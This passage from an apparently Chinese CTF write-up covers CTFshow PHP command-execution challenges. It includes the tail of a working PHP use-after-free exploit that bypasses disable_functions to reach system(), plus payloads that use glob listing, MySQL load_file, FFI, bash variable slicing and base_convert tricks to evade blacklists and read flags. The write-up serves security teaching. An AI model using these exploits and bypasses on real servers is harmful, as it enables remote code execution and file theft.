    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();
}

需要在burp中编码后发送
在这里插入图片描述

Web 73-74

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);

一.分析代码:

glob协议遍历出文件

二.解题过程:

方法一:
构造playload:

c=var_export(scandir('/'));exit(); //发现根目录下有flagc.txt
c=include('/flagc.txt');exit();

方法二:
可以利用数组遍历的方法输出根目录下的所有文件

c=?><?php    //前面的?>用来闭合<?
	$a=new DirectoryIterator("glob:///*");   //php使用glob遍历文件夹
	foreach($a as $f) 
	{
		echo($f->__toString().' ');
	} 
	exit(0);
?>

Web 75-76

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

#通过payload扫描 flag36.txt

c=
 
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');
 
    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

数据库的连接是读配置文件得到的
SQL语句来读文件绕过open_basedir和disable_function

Web77

这题在题干中说到php7.4,可以想到FFI

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag
payload:
第一种:

//首先是熟悉的确定flag位置和名称
c=?><?php 
	$a=new DirectoryIterator("glob:///*"); 
	foreach($a as $f) 
	{ 
		echo($f->__toString().'  ');
	} 
	exit();
?>
//FFI调用system函数
c=
$ffi=FFI :: cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
exit();

第二种:

c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f."    " ;
}

$ffi = FFI::cdef(
    "int system(const char *command);");

$ffi->system("/readflag > 1.txt");

exit();

第二种之后要访问1.txt

Web 118

事先了解一下:
Linux 基础知识:Bash的内置变量
常见 Bash 内置变量介绍

root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1}   //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1}   //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1}  //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A}    //字母代表0
t

所以可以利用各个环境变量的最后一位来构造命令。 ${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,那么${PWD:~A}的结果就应该是’ l ‘,因为${PATH:~A}的结果是’ n ',那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php

payload:

code=${PATH:~A}${PWD:~A} ????.???

如果是在框中输就去掉code=
查看源码即可得到flag

Web 119-120

比上题多过滤了path
方法一:
可以构造出/bin/base64 flag.php,只需要/和4两个字符就行,其他的可以用通配符代替。
/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}绕过

SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

只需要${PWD::${SHLVL}},结果就是/

RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。

4的问题,可以用${#RANDOM},在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
payload:

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

方式二:
可以构造/bin/cat flag.php,需要t和/,${HOME}默认是/root,所以需要得到他的最后一个字母,容器的hostname应该是5个字母,所以${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替
payload:

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

查看源码即可得到flag

Web 121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

$#
$?
这两个的值都为0
加上#代表长度就为1
这题最关键的SHLVL被过滤了,可以用${##}或${#?}代替

code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

hint中的payload

code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

使用的是/bin/rev读文件 把文件中每行逆序输出读取
用到了IFS

定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline) 长度为3

PWD为 /var/www/html
刚好第三个是r
可以匹配到/bin/rev

Web 122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这题在上题的基础上又过滤了#PWD,PWD的绕过很简单,用HOME就可以,而#,就要用到$?

$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

所以在使用$?之前要先给错误的命令 让$?的值为1
${}<A可以但是题目上${}这个不可以
所以用<A后边的数字4还是用RANDOM随机数来获取
payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

Web 124

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。
我们来看下具体的函数

base_convert(number,frombase,tobase);
参数	描述
number	    必需。规定要转换的数。
frombase	必需。规定数字原来的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase	    必需。规定要转换的进制。介于 236 之间(包括 236)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin — 十进制转换为二进制
decbin ( int $number ) : string

dechex — 十进制转换为十六进制
dechex ( int $number ) : string

decoct — 十进制转换为八进制
decoct ( int $number ) : string

hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string

在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有 _GET$我们可用使用,中括号可用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。

echo base_convert('hex2bin', 36, 10);
结果  37907361743

echo hexdec(bin2hex("_GET"));
结果 1598506324

现在我们要做的就是反过来了


base_convert('37907361743',10,36);    hex2bin

base_convert('37907361743',10,36)(dechex('1598506324'));    _GET

c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

我们再把_GET进行替换

payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值